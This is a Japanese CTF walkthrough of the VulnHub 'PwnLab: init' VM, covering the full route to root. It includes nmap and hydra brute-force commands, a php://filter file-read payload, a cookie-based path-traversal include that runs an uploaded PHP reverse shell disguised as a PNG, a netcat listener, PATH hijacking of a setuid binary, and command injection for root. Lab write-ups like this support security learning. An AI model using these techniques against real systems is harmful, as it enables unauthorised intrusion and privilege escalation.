VulnHubのpwnlab initを実施
PwnLab: init ~ VulnHub
私の最初のBoot2Root仮想マシン、 "PwnLab:init"にようこそ。簡単であることを意味して、私はあなたがそれを楽しんでそして多分何かを学ぶことを願っています。このCTFの目的は、rootになってde flagを読むことです。
簡単ということなので挑戦
初期偵察
・netdiscoverでIPアドレスを特定
netdiscover -r 192.168.23.0/24
・公開されているポートを確認
nmap -sV -p- -A -n 192.168.23.136
以下の情報を取得
・Webページにアクセスしてみる
Login画面とUpload画面がある。
Login画面にSQLインジェクションを試してみるも成功せず
Upload画面はLoginしないと使用できないと表示
dirb、dirbuster、nikto等を試す。
niktoでconfig.
phpという認証情報が記載されているというファイルがあることがわかる。
対策されておりうまくいかず。
投入コマンド
hydra -L user.lst -P /usr/share/wordlists/rockyou.txt.gz 192.168.23.136
mysql
[ERROR] Host '192.168.23.132' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'
アドレスバーに以下のように入力
192.168.23.136/?page=
php://filter/read=convert.
base64-encode/resource=config
これをデコードすると
mysqlの認証情報が記載されていた。
侵入
mysqlへログインする。
ブルートフォースを行ったことによりIPがブロックされてしまっていたので、
いったん対象を再起動
再起動することでmysqlへログイン完了。
認証情報に記載のあったデータベースUsers内にusersテーブルを確認すると
3ユーザ分のログイン情報とパスワードが含まれている
3つのうちどれかのユーザでログインするとファイルをアップロードできるようになる
適当なファイルをアップロードしようとするとエラーになる
ソースを確認するためアドレスバーに以下のように入力し、upload.phpを取得する
アドレスバーに以下のように入力
192.168.23.136/?page=
php://filter/read=convert.
base64-encode/resource=upload
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
upload.phpを確認すると、アップロード可能なファイルにいろいろと条件がある模様
アップロードするファイルにリバースシェルが含まれるファイルを用意して
ヘッダ部分を画像ファイルに見せかけてアップロードすればいいんだなと
いうことは分かった。
・ファイルの作成
上記を参考に先頭部分が以下で始まり、
phpを含むファイルを拡張子
pngで用意する
このファイルをアップロードする
アップロード後のソースを見ると以下のファイル名でアップロードされていることがわかる
kali
linux側でncでリバースシェルを待ち受ける
nc -lvp 5555
先ほどアップロードしたファイルを実行する方法を考える。
include("lang/".$_COOKIE['lang']);
とあり、
COOKIEにlangを設定すれば実行できることがわかる。
<?php
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
Burpを起動しておき、リバースシェルを実行するようブラウザのアドレスバーに以下を入力する
Burpにて
Cookie部分を以下のように変更し"Intercept is on"をクリックする
lang=../upload/eb9fcafce2f193e736c0f60f295b8380.
png
するとKali linux側で侵入成功
kent、mike、kaneのそれぞれのユーザにログインしてみる
kent、kaneはmysqlのパスワードを使いまわしているようだ。
mikeはログインできず
kaneのホームディレクトリ配下に"msgmike"というファイルを見つける。
ファイル形式を確認すると実行形式のファイルなので実行してみる。
/home/mike/msg.txtを参照しているようだがエラーとなっている。
stringsで確認してみると
と実行していることがわかる。
フルパスで実行していないので環境変数のPATHを変更することで
好きな場所のcatを実行することができる。
まずはcatを実行すると/bin/bashを実行するようにファイルを作成する。
PATH環境変数の先頭に偽のcatコマンドを配置したディレクトリ(/home/kane)を
追加し、catを実行すると/home/kane/catを実行するように変更する。
sbitが付与されたmsgmikeを実行することで、/bin/bashが実行されmikeユーザへ変更することができた。
mikeユーザのホームディレクトリを見るとmsg2rootというファイルがある。
同様にstringsで確認すると以下のように実行していることがわかる。
/bin/echo %s >> /root/messages.txt
OSコマンドインジェクションを利用してコマンドを実行後に以下を入力して
rootへ昇格を試みる。
rootへ昇格し、flag.txtを取得することができた。